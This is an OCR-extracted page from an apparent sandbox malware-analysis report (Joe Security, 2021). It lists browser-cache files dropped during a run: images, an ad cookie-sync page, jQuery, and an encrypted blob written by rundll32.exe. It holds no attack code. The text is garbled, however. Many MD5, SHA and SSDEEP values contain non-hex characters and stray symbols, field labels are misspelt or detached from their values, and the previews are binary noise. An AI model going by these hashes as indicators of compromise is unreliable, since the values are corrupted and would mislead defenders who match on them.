MD5: B68AF1C5791BEEOCB5F5A3F8C30A9460

SHA1L: ADB1AEED43B31094D7BFC5D6CFB838D7DD51D735

SHA-256: 18480DF05FB36984960E848AA7015F0414E8D6454D33F20B6EFD956400CD8D32

SHA-512: 7DCBB9E90104806389B170C53A3FB29435137F1AF8603F6236A9847A145292C8B1AC50C7F27B461370B8EAAD8F4659C1D4EOF52F9FB021BCEDB4A3A6B56456D+«
Malicious: false

Reputation: unknown

Preview:

.)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP"JQRO....... &..&05-500000000000000000000000O0000000OO0000

i...'..nEM..r..@.[-Y....2.f.y...r..."..L..k.....LF'...R....O(
@D W@ (oo (O H 0D

@.P.
e @ #..@.4.5@.@....P...i..7ED.1.U... £{g....{.0..dy..uln+.p_...Z.y.... W..%.;.) ;Qa.7.E.....P.@..@.E...P.

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\OW10PBUVI\AAOQO05z[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 206x250, frames 3
Category: dropped

Size (bytes): 7796

Entropy (8bit):  7.881570790967039

Encrypted: false

SSDEEP: 192:QoKxSDwyZt5X++vkCiCyUhlkGKtAoGMWaybjNpTWUwcfa:bZUyxX++v+Gh6WIINhWUPa

MD5: 818B889D2591E38E9EB64D615E01913D

SHAL: FA7TFE7025D8CADDFIDBFD53A054AC33227D041A2

SHA-256: 5B48FCF58AF2ACES5308388850B3E26D21DB1CE2A79C5D48BBE63B3FC317F6933

SHA-512: 23972493969492F6CD9E1882A251CC3C6AAG61FF3CBD47FIAB7F693E9A04174C7776734BFA8263F4D8142072325C739C9A9E6DBACDC444EE21F1DDF1D062E29
Malicious: false

Reputation: unknown
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellIE\OW10PBUV\AAOQO05z[1].jpg

Preview:

. .2?2.31.Q.2.....0..a
.P.@..P.@..P.Q@.-.P.@.@...x>+.N}.\..)Be..G.cC...i6.yutS_?.WA.P.@..P.@..P.@.-.P.@.@.-U..2.\6.N@....1...7....
.(.a@...P.@....P.@.@......Y]...g.Ms#f;#

. Xc..0....Y.w..tUG..L.t..@.

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\AAOQ2Ba[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 206x250, frames 3
Category: dropped

Size (bytes): 7834

Entropy (8bit):  7.7295881600980865

Encrypted: false

SSDEEP: 192:Qol0VUcoWk3sMMy3yqb27Zz9K241qqLzgHqCh7IXTYBRcYDfraCpRw7:bl0VUcVFsyqEZzI27q9Bhlj2SYLuCfw7

MDS5: 42EE2C935CI9BDDEC249ECBIECD766E4D

SHA1L: 8AC5366279F433DBF51F46DBA433F6103EA8856C

SHA-256: B13142C6716A2D0AC8539FE692E41A7B99F2198BED37F214E894B50DC406467F

SHA-512: B28E5A7104042DBF46273D13B24BEDCODASFA4751BA34BE41F4D1FF45678C643BDFE93F29B9F43915F698486AF8E9DC4493E68541B064A605D1FDAOD175904F
Malicious: false

Reputation: unknown

Preview:

......... ?..P...PP.@.@.Z.0g-y...8..h.. . #k.Cr.....T.8.I.03....4.a.C.(..b.._h.X.}@)\..)..+@.6...@..@.r
...be Hix...$$....9E.m2.}3@..v2.c

h.kMB..A%...FS.@..;WZ..
$.Pq@...J8p~.@.ly$P.@..%.-.....J..M. -....

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\AAOQALtt[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 311x333, frames 3

Category: dropped

Size (bytes): 18876

Entropy (8bit):  7.949568415822713

Encrypted: false

SSDEEP: 384:NqYGxOYaXEkvYaYTOPQChKck1GkTye2gmysJY:NKxHdUYaYT6QChK35lyT

MD5: 8635DFAB7054DBB2FAGEEFF0213865A7

SHA1L: 00850AD7BA3677DB05F4A94B469D6278BE5D2452

SHA-256: 51AD396BCI9DBEF644579D9D686D70C73E13E738CDF79AB7811DA327E22E9802D

SHA-512: AB1851COF5E2849A2B0OFAG61034DEAC5928970D2F358096F1E56CODDCCAF25516C01CAS55B6460E92BA95C5FA4342331579EA892E1D028FD13E98CFASC7AG5BD!
1

Malicious: false

Reputation: unknown

Preview:

:::.J.C@.@.h.(.(.(....h..!" (I T P...@.i.h.h.......Z.Z.(.h......(.........4..........h....i.]n.k ...... (r8.....B(.Q......P..@.@..---0.2.2.3|[G....L.LUSY.....V.R#.(2).
@.....X.p..C@.@...1..%9.M..

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\OW10PBUV\AAOQgtq[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3
Category: modified

Size (bytes): 29501

Entropy (8bit):  7.919671562446112

Encrypted: false

SSDEEP: 768:17136QouxwEOKnu5ak6wKtF+iiTilc+730Uql:IRaun0guUCQIcQ30FI

MD5: 6741BAD25530DAD8B1FIAC9727694039

SHAL: 45055986AA86BE273700849A09B79B82BBA0C040

SHA-256: 75D83F5813464FABIFBOEB90D4B0622EAOABSFBDA084C99C6544F2A7TEEL1C6235

SHA-512: 47627AAE679B7907BE4D399AEBE0C4715219ADOE1DB8DBBB82536750A97AD67A0791F80446AAEFEDB86E781E8C7F6B443E75FD1E402B0266F97B794482C3D78
Malicious: false

Reputation: unknown
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellIE\OW10PBUV\AAOQgtq[1].jpg

Preview:

..@B..0+.dt.D..b*.%. z.R#.Qb.AS..@.......KUa\..i.CsL.MM.H#..p...R..U(.xZC....(...%!...S.......... P.@...[.V.q9...]..d.15.bc).. j...r.b"....q...%0.M......N......&3...Xz4...=.1..
.q94..f1..U9.-].;.....V;v..8.\..+4N.3=Mf2Al#.i..h.ri

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\AAOQr9A[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 310x166, frames 3
dropped

7128

7.870925814555214

false

192:Qntmw8a9W7BFYfGpQILERII3ay4mFLQuUYRED34s:0trHOW7LYfGML0OzBVhn

FOD3EC5DA0B74602115B17B0E23D3461

1BECED92D5BD6D86B519DE3C56E724AE20AB0O7AL

C5E144B9F8559B88E3E4D195629A5E 1EE388ABE4690ED6069A6D593ADDE55E81
FA2A037826DA4A1A86BC1D7B1C3C1AE03012779509251351C77BCID952D01F8DF15F49361542CAAA49785997CBE933F9702E0D66B5COBABE712199AA41D6921

false

unknown

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\AAOQtrz[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 206x250, frames 3
dropped

6313

7.8498406325007215

false
96:QfQErrcPz/xLRRa5BDhoUWO7lipb96yLn5u0waxdEWKCXKYIfbISMnFjOhsSRJI57:QoewNPaPABmM9zn80zKYBI+nFisSRb2s
FFF1E2095378BC0657B52178933CDDC2

852CDEC7BE40DCCBD64498D367CBAE972C4847D2
1BB3A93B2E2FBAF48D664E35A52DDA03D9F898F4EB432902B8ADIA954C1B2D8E
2FF66FCA25FEEBDFC4E5A1E45BB71780F731AB109034E82683EAD6F7D10E15295C1EE27B0D480C6CA7F1609E59D9A414195E2CF06CB18F6293F8F02B7213F07:

false

unknown

?..6..14. HMO.S@..!.. 4X.Hc.Is@.5.. .0%. ..@!".h..@.;.@\..N.4=.1Dn).11..3.L.2.A...1@.(....Xp.y.LL@--...L.h...
@. f.3IEj.1<Rel. L..C.P4<... Hh.......H.h.2=).M...].@\..2[ CA.L.LD.)..8a...d...b....4..(..(.P.H...id.P.....C...A213@. 4. 4.....
. ELh..1..M"..P..C.PK...jv.b..bn8..a.(8.iX.]"\O

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\OW10PBUVI\AAOQycW[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Reputation:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3
dropped

22335

7.849848793222804

false
384:leZWsfe40CvyghnVK9eHb9Y/s2RDjAgAXFAHaWGZIWAXSAZKbEbErMbK8Yp08:leZhG4Xvy4M9e7UJtgFd521W30K2qIrl
CD1A1080FBDF241E975E8521D27CA42A

C0C7971B58FD34159F2F734FB84EOBCEG0CD52CB
67ECCD5168F33C4ECBFOA78A88983D874F5934CD23DB77297B3D1032C63A130A
496976442F8B8AD2A518B62AD4310CFFA9601B9094FD3213C852053A32CE5D3013DFBCDESC15DB410167DA35853DC7976F7FF89AB4EF01B21791B81B79E9F27!
false

unknown
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellIE\OW10PBUV\AAOQycW[1].jpg

Preview:

...4.Gbd.o.m.o(zF.Q.Z.....y>{. ..q
Ltw{.<i.@'....P3B..{?..z..VT.d,;(@

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\AArXDyz[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 472

Entropy (8bit):  7.428434836975685

Encrypted: false

SSDEEP: 12:6v/7gL/VnYyOrLr4giGytVy6R4jsnwPH7XXc:5w7tLCbMswfbs

MD5: CBC872F95E97A2E9BEEGA358853D5C5E

SHA1L: 2AA08D0C3410C2B1DACCAE7AE4AS5FCEC2FFD8BASF7

SHA-256: 64CA26EAA923C9838A551835B8824D055D16484476E00BB260D56F2E801FBA2A

SHA-512: 39F09466D3061EB107B5072FD5FB2B2B10FDE17D1BFC79E7C3DB79D3330D327FA439543F9EDEGE2598E0BD32424634B7A327A18E1F95AD36F77DF9CCIC707D!
5

Malicious: false

Reputation: unknown

Preview:

N....F]8.B.5.S.@.....\H.L.Z. .q.Z[VQ.Z.......".d.P...
XYooiii?erreZonr /END.B".

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB14hqOP[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3

Category: dropped

Size (bytes): 19135

Entropy (8bit):  7.696449301996147

Encrypted: false

SSDEEP: 384:IHtFIzZAsGkT2tP9ah048vTWjczBRfCghSyOaWLxyAy3FN5GU643Ib1y6NO:INFIFTSEG46SjcbmaWLsR3FNY/Ayz

MD5: 01269B6BB16F7D4753894C9DC4E35D8C

SHA1L: B3EBFE430E1BBCOC951F6B7FB5662FEB69F53DEE

SHA-256: D3E92DB7FBESDF1BIEA32892AD81853065AD2A68C80C50FB335363A5F24D227D

SHA-512: 0AF92FBC8D3E06C3F82C6BA1DE0652706CA977ED10EEB664AE49DD4ADA3063119D194146F2B6D643F633D48AE7A841A14751F56CC41755B813B9C4A33B82E4!
C

Malicious: false

Reputation: unknown

Preview:

(h....iH@..;.Y..q..0.<e+.B..[v..

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachellE\OW10PBUV\BB1cEP3G[1].png

Process: C:\Program Files (x86)\Internet Exploren\iexplore.exe
File Type: PNG image data, 27 x 27, 8-bit/color RGBA, non-interlaced
Category: dropped
Size (bytes): 1088
Entropy (8bit):  7.81915680849984
Encrypted: false
SSDEEP: 24:FCGPRmM4XxHvhNBb6W3bc7631U6+peaq90IUkiRPfoc:/pXBvkW3bc7k1FqWIUKSTB
MD5: 24F1589A12D948B741C2E5A0C4F19C2A
SHAL: DC9BB00C5D063F25216CDABB77F5F01EA9F88325
SHA-256: 619910A3140A45391D7D3CB50EC4B48FOBOC8A76DC029576127648C4BD4B128C
SHA-512: 5D7A17B05E1FD1BC02823EC2719D30BC27A9FA03BCFFE30F3419990E440845842F18797C9071C037417776641AB2CDB86F1F6CD790D70481B3F863451D3249EE
Malicious: false
Reputation: unknown
Preview:
PNG........ IHDR....ooovvoenn U...pHYS.......... ... IDATX..] ... BYWW(.UVAV.>.>.. K}X).i..Tj...C..RD. .AEXP............ D-vQ../$.%.12
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...N.pO.#2...df=...Fa..B#2yU....0.;.g....b.Jct.& 7x*..t.Y..yg....]. {.,.v.F.e.ZF.z. .Ur+.". ] £]....~..}..{g.W0?
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\OW10PBUV\BB1cEP3G[1].png

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BB7hjL[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category: dropped

Size (bytes): 462

Entropy (8bit):  7.383043820684393

Encrypted: false

SSDEEP: 12:6v/7FMgLOKPV1ALxcVgmgMEBXu/+vVWIIMhZkdjWu+7cW1T4:kMgoyocsOmIZII+7cW1T4

MD5: F810C713C84F79DBB3D6E12EDBCD1A32

SHA1L: 09B30AB856BFFDB6AABEQ9072AEF1F6663BA4B86

SHA-256: 6E3B6C6646587CC2338801B3E3512F0C293DFF2F9540181A02C6A5C3FEL525A2

SHA-512: 236A88BDO5SEAF210F0B61F2684C08651529C47AA7DCBCD3575B067BEDCALFBEE72E260441B4EAD45ABE32354167F98521601EA21DDF014FF09113EC4C0DID7!
8

Malicious: false

Reputation: unknown

Preview:
PNG........ IHDR....ccovvis a...pHYs......... +.....IDATX...N.P...C.l...)...Mcb*qaC/..]..7...X.Z.....We.eeo_ceSuii| ol "FX3V A LRt BT (X (- f
....0.8...|A:P%.P.if.t..P..T.6..)s..H..~.C..(.7.5>....~...h..bz...Z....DAVM.T...2.5.U.P....q.6..1t~.ZU....7.i..".b.i.~...G.AL.& . +S.(<(...y._W..q....... Q.L.1.Tz..Qulis g..+.0.].

.J..$.8.F.l.....XT.kv...[END.B".

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BBPfCZL[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: GIF image data, version 89a, 50 x 50

Category: dropped

Size (bytes): 2313

Entropy (8bit):  7.594679301225926

Encrypted: false

SSDEEP: 48:5Zvh21Zt5SkY33fS+PuSsgSrrVi7X3ZgMjkCqBn9VKg3dPnRd:vkrrS333q+PagKk7X3Zgal9kMpRd
MD5: 59DAB7927838DE6GA39856EED1495701B

SHA1L: A80734C857BFF8FF159C1879A041C6EA2329A1FA

SHA-256: 544BA9B5585B12B62B01C095633EFC953A7732A29CB1E941FDESAD62AD462D57

SHA-512: 7D3FB1A5CC782E3C5047A6C5F14BF26DD39B8974962550193464B84A9B83B4C42FB38B19BDOCEF8247B78E3674F0C26F499DAFCFOAF780710221259D2625DB8¢t
Malicious: false

Reputation: unknown

Preview:

GIF89a2.2....7..;..2..C..I..H..<..9.....8..F..7..E.@..C..@..6..9..8....*2.G..>..?..A..6..>..8.....A.=.B.4.B..D.=. K.=.@..<...3~.B..D....,|.4.2.6....0..;..G...F..1}.4.R....
Y.E.>.9.5.X.A.2.P.J.J].9....T+Z....+.<.Fq.Gn.V..;.7.Lr.W..C..<Fp]....A..0{L.LE.H.@....3.3.0.M.K... #[.3i..D.>....... l...<n..;.Z.1.G.8.E...Hu.1l.>.
T.a.Fs..C..8..0}....;..6..t.Ft..5.Bi...x...E....."2"~....... [8 T L>.2.00.0.80)a.im..'a.0Z2.7... 3f..<.e....@.q.....Ds..B....IP
Nedi Li Fo B Wl gl I Ms KR > Ry.Nv.n..].Bl........ S.;...Dj....=...0y.....6.0....... WV.0.5....... IL.NETSCAPE2.0.....!..d...,....2.2......
.3.7.9.(].d.C wH.(."D...(D.....d.Y.....<.(PP.F..dL.@.&.28..$1S... *TP.....>.. L. IT.XL(.@a..IsgM..|..Jc(Q.*......2...)y2.J.....W,..eW2.l...l....C.....d...zeh....P.

C:\Users\luser\AppDatal\Local\Microsoft\Windows\INetCachellE\OW10PBUV\BBX2afX[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 27 x 27, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 879

Entropy (8bit):  7.684764008510229

Encrypted: false

SSDEEP: 24:nbwTOG/D9S9KkmVgvOcOWLIP9juX7wlIA3IrvfFRNa:bwTOk5S96vBB1jGwO3lzfxa

MD5: 4AAAECICAGF651BE6C54BO0SE92EA928

SHAL: 7296EC91AC01A8C127CD5B032A26BBCOB64E1451

SHA-256: 90396DF05C94DD44E772B064FF77BC1E27B5025AB9C21CE748A717380D4620DD

SHA-512: 09EODE84657F2E520645C6BE20452C1779F6B492F67F88ABC7AB062D563C060AE51FC1E99579184C274AC3805214B6061AEC1730F72A6445AEBDB7E9F255755F

Malicious: false

Reputation: unknown

Preview:
PNG....... IHDR.....covvrnen. U...pHYs.......... +o JIDATX K QWAL UL 51 ) Ze >.0VObQ.....d7|....F.QI$...qf.s....">y .....{~.6.Z.".D[&.cV ..-8i...J.S.N. xf.6@.V.(E..S.
&l T2 X)L s LV P p.4bt=2. [ LWBLAeB, L 2.~ s _Z.X].0 X KWLG 2,9, <\ Lgve.n 1.0, 1) L HEAXX..DLE H.... W..$_\G.e;./.IR+V....j.6V...
..... ZKeoooiororn& (oo FLUBA. V.. [2.W.;..0.<9$. AT K.K(9..N..p.IP2K.0.).X.4..UR[..8..h...0.V.%f......G.UM.6S.... X....L.=.. froooo | C(rnnn I\ <6 L2 # S

vo[.D..8.2.).3...IEND.B".

Copyright Joe Security LLC 2021 Page 23 of 149



C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\OW10PBUV\BBkwUr[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

dropped

436

7.255906495097201

false
6:6v/IhPahm/BBjoPHhOVDgpp05cMxyHtGUmmozY7JE3R+hRMCzRPasXQc01UaVesl:6v/7MHQg25b8Ht3VEMNQ2w5
01B5E74F991A886215461BF0057008C7

6A7347C3559814722D7AA4D491A0D754E157FCC5
DB8AOCOA44AEE824F689A942D99802F95D7950758CB0739C7F179624A592CD51

17820A7C90B35B0OE45D0A07F5445D8C97BFD3098FDYEOF0283CD6CFC1DB2B33C651924D2F04EF398C147CEB8D7DEA3F591DBC19F9039279407C4E4231AC5F5
7

false

unknown

. fIDATX.}.M.@....... 0...Aa....... #0..."..0...a...<...<..y.gS..m.k.%. ... ...Z~
.?5...iN.P..5.0....2..& A K..|+..X.h)....5K...ZX...[....G...ON<.~PC.@.X.02..N..X.

Np.Xe a%(..ab........ =i
J.U.UsLL.

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\checksync[1].htm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

HTML document, ASCII text, with very long lines

dropped

21700

5.305082513785246

false

384:VZAGcVXIblcgnzleZSweg2f5ng+7naMHF30ZOBQWwY 4RXrqt:L86ghbS2RpF30sBQWwWY4RXrqt
B5F20E1651F4F1946B488FF06242968A

AEAT762A84C24EB4E69086A8FE735F0A86540EA92
60C18B7845B8A1000103670FEBA257E27DFC731789BC6228A5ACA42CF101B2E8
37DA7C66E1949934BAF502F133362787FB039C44A7COE528BIF2F9A382CA782E26CB191127F2863ED4369325252B4E8A7A463C329EF16A50A58CDD66F1641AA0
false

unknown

<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {
"+ "sepCs'":"~~" "vsDaTime":31536000,"cc":"CH","zone":"d"},"cs":"1","lookup":{"

isBI":1,"g"1, ":0},"vzn":{"name":"vzn","cookie":"data-v","i
ie":"data-Ir","isBI' cocs™:0},"ttd":{"name":"ttd","cookie":"data-ttd
,"esm”,"ppt"," ","con”,"opx","tIx","mma","c1x","ys","sov","fb","r1"

"datalen™:80,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"|","sepTime"
","cookie":"data-g","isBI":1 1,"cocs™:0},"bs":{"name":"bs","cookie":"data-

name":"g",
"cocs":0},"brx":{"name":"brx","cookie":"data-br","isBI":1,"g":0,"cocs":0},"Ir":{"name":"Ir","cook
" "batch":{"gGroups":["apx"

’

"g":1,"cocs":0}},"ussyncmap™:[],"hasSameSiteSupport
rben” "son” "bdt" "con’, “pb” U Tkt ek wds™, et "yl s Uit s hr vyl msn® zem® “dmx “pm®,
som" "adb* “tdd" "soc" "adp","vm" "spx” “nat","ob" “adt,"got,"mf" "emx","sy" “Ir" ttd"],"bSize":2, "ime":30000,"ngGroups™I},"

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\de-ch[1].htm

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: HTML document, UTF-8 Unicode text, with very long lines, with CRLF, LF line terminators

Category: dropped

Size (bytes): 428125

Entropy (8bit): 5.440793813191094

Encrypted: false

SSDEEP: 3072:ufiNJUKxx+TAkJI8g6J0eQuuT7MVSs2yprCahzHkSWFGPLPVPfk/L8pfWA+JIXLf:ufc/OTtHMVPHIBWAPVV90Jh

MDS5: 5F982E1CF133FD05485C1291EF654BB8

SHA1: C2CFAE29DA7230A2D02512899F1EEA2E1C35FCCD

SHA-256: 3847DC95F04ACC566FF4350EA6D160A95084184A03F030F24555978BC11001A6

SHA-512: 4FC5716CE5C95039A75055BB5F752D79522DF3888043C34DB4AEFF81E94B622BFD1230D314533D17463B080E8D683B76BF9293256D6E96F7A4541F99DD45F66F

Malicious: false

Reputation: unknown

Preview:
<IDOCTYPE html><html prefix="0g: http://ogp.me/ns# fb: http://ogp.me/ns/fb#" lang="de-CH" class="hiperf"* dir="Itr" >.. <head data-info="v:20210921_244228
61;a:ce3289ff-c503-4b14-967b-8dbba2ddde 75;cn:8;az:{did:951b20c4cd6d42d29795c846b4755d88, rid: 8, sn: neurope-prod-hp, dt: 2021-09-26T721:37:27.6754218Z, bt:
2021-09-21T00:11:57.7792362Z};ddpi:1;dpio:;dpi:1;dg:tmx.pc.ms.ie10plus;th:start;PageName:startPage;m:de-ch;cb:;l:de-ch;mu:de-ch;ud:{cid:,vk:homepage,n:,l:de-ch,ck:}
;xd:BBggbZW;ovc:f;al:;fxd:f;xdpub:2021-08-11 10:21:32Z;xdmap:2021-09-28 07:52:15Z;axd:;f:msnallexpusers,muidflt13cf,muidflt48cf,muidflt50cf, muidflt52cf,pneedge2
cf,audexedge2cf,audexhp3cf,pqto450c,bingcollabhp2cf,modvenduhrsc,audexhz3cf,bingcollabhz1cf,onetrustpoplive, 1s-bing-news,vebudumu04302020,bbh20200521m
sn,msnsports5cf,weather2cf,prg-1sw-cvisnew,prg-1sw-sprctrl,prg-1sw-actbtndflt, prg-adspeek,1s-br30min,btrecrowl, 1s-winauthservice, prg-1sw-setcogt,prg-wpo-hpolypc
,msnapp7cf,prg-1sw-halfwea,prg-brandupwhp,prg-core

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OW10PBUV\iJNdwcRSva[1] E

Process: C:\Windows\System32\rundll32.exe

File Type: data

Category: dropped

Size (bytes): 293376
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\iJNdwcRSva[1] E
Entropy (8bit):  7.999325774736312

Encrypted: true

SSDEEP: 6144:S1/9z1/w5t5Ukt2IpXCa/xnCE/6wrGwQjPkHrMO3JfZfxsIHSRd3:SI/GY57UkteEgh7HrMka2Sh

MDS5: 92F30BCC922D67F48581CEDE802E4ADFF

SHA1L: D8FAF03A657EBC1A27A4A04A7B7C4040939E88A8

SHA-256: 1FO0A54DC30D14EACDOFEAD3F6D08D5B41EAE7070F739E2F7AACCF29C83FFF70

SHA-512: A1348923FB4910A1C45ED96798B571CCD2D64AB036D6BOA01IAE40784E57BEB3CDBIF90F93887F6897766D558539A41864013F4D3845A3A3635BD835F5C37B5DC

Malicious: false

Reputation: unknown

Preview:
C *.9.C;Q....jw4Y.8..ebO...rEc..-d..~...0.N.........").x.>"......6..,}..%S..G.<..H.;.a .. "....cr@..e..;.R.cj..4&N.."J.....YQ. j;......p..m.ec4E....Ui.U,.+...u...C>8@ "........ z>
ApS...$.2../.9TF..T.....B.UD...-&...9...1"~.b.....%..m,...p).I....5...s..y...0.....[]. V....ax..2l.n(./...$.....7..>..9....DjX..b~.i>.}..[..Ng(.7..E...<..R9..-)sRr.1.0...zE..M.&........X.|[<?.6.).0
.4j.d...d.6.M.n3VB6l.x......5)..7..a...p.nf... }*+..?P.EK.;VD...+..cd.,..5......a96...T|[D...]li..}....+.c. M.R"..9%.t... \.F.X...~ .79.7p.1l.....5...... {g3h).E[.N.=.R.X......x2..r"\.q. WV .x].;..i..
.D;"47...UWZc..E.2R.#..0.m.."..~NR.C.l..wj....R..k<....N.k.:.d.xkl.4...("...w._,1....3........ n.A.... LF.U.@..u..G..h....H.we.8.|...i.z.ul..+... .h.$C..m,.&#....z.e.c). ... \.F]
uY......8..9.}.0-.7.Zw.6.2J#....=". X.e..t(..r.a_..wk.|\....3..s?.g.h. W"2.FdL.....& .W.Nw..d....... x..P[.....O0 ~..S..2..t@u.X....S.Dlj..t..36.iK..

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\jquery-2.1.1.min[1].js

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: ASCII text, with very long lines, with CRLF line terminators
Category: dropped

Size (bytes): 84249

Entropy (8bit):  5.369991369254365

Encrypted: false

SSDEEP: 1536:DPEKjP+iADIOr/NEe876nmBu3HvF38NdTuJO1z6/A4TqAubOR4ULvguEhjzXpa9r:oNM2Jiz60AFKP5a98HrY

MD5: 9A094379D98C6458D480AD5A51C4AA27

SHA1L: 3FE9DBACAAEC99FC8A3FOE9OED66D5057DA2DEAE

SHA-256: B2CE8462D173FC92B60F98701F45443710E423AF1B11525A762008FF2C1A0204

SHA-512: 4BBB1CCB1C9712ACE14220D79A16CAD01B56A4175A0DD837A90CA4D6EC262EBFOFC20E6FA1E19DB593F3D593DDDI0CFDFFE492EF17A356A1756F27F903768
50

Malicious: false

Reputation: unknown

Preview:

/*1'jQuery v2.1.1 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */..Ifunction(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports
=a.document?b(a,!0):function(a){if('a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:
this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty k={} I=a.document,m="2.1.1",n=function(a,b){return new n.fn.ini
t(a,b)},0=/"\s\UFEFF\XAO0]+|[\s\uFEFF\xAQ]+$/g,p=/"-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:" len
gth:0,toArray:function(){return d.call(this)},get:function(a){return null'=a?0>a?this[a+this.length]:this[a]:d.call(this)} pushStack:function(a){var b=n.merge(this.constructor(),a)
;return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,funct

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\nrrV52473[1].js

Process: C:\Program Files (x86)\Internet Exploren\iexplore.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 90596

Entropy (8bit):  5.421672617333306

Encrypted: false

SSDEEP: 1536:uEUUkXGs7RiIUGZFVgRdillDx5Q3YzuZp9ojuvby3TdXPH6vigQDkjs2i:atiX0di3M8ulMfHgjg
MD5: F65442DA5F1A08238578462C9D90FFFO

SHA1: 3B959556D6B4FEABC4D8FD3C8610616B0104F3AD

SHA-256: 518299B805889F3C6AEDABEA7D79C661A3C7C5E32C15DDA51D2EAS835C8554A8
SHA-512: B567278E529F31934DA1947F56E8B884E023A565E9FD55CE09178A74C2DEE832F11B857FDESDFEBF5F53442D8A5A62B339FB309BE48898062E5B1DFBFCA419C
Malicious: false

Reputation: unknown

Preview:

var _mNRequire,_mNDefine;!function(){"use strict";var c={},u={};function a(e){return“function"==typeof e}_mNRequire=function e(t,r){var n,i,o=[];for(i in t)t.hasOwnProper
